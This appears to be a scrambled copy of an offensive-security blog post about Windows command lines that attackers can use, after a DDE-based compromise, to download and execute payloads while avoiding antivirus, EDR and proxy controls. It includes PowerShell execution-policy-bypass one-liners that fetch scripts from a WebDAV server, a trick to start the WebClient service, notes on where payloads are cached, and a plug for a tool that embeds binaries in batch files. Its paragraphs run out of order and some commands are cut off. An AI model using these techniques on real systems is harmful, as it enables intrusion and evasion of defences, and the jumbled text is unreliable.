Have a look at my Invoke-EmbedInBatch.ps1 script ( heavily inspired by work), and see that you can easily drop any binary, dll, script:

Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed any file type (s cripting, executable, anything that you can think of !). Payload written on disk: WebDAV client local cache Cmd Process performing network call: svchost.exe

Powershell -exec bypass -f \\webdavserver\folder\payload.ps1 Of course you could also use its encoded counterpart.īut you can also call the payload directly from a WebDAV server: Payload written on disk: NO ( at least nowhere I could find using procmon !) Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=::DefaultNetworkCredentials iwr(' Process performing network call: powershell.exe A well known proxy friendly command line is the following: Ok, this is by far the most famous one, but also probably the most monitored one, if not blocked. In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ». When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV.

On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the WebDAV client local cache:

C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\.

C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\.

the command accepts a UNC path ( pointing to a WebDAV server).

either the command itself accepts an HTTP URL as one of its arguments.

When it comes to downloading a payload from a remote server, it basically boils down to 3 options: Especially the « do not write the payload on disk » one, because most of the time the downloaded file will end-up in a local cache. Let’s be clear that not all command lines will fulfill all of the above points.

work in memory only – because your final payload might get caught by AV when written on diskĪ lot of awesome work has been done by a lot of people, especially regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries.be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?.make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible.be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?.allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?.allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?.These command lines need to fulfill the following prerequisites: In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an attacker could use besides the famous powershell oneliner » ?
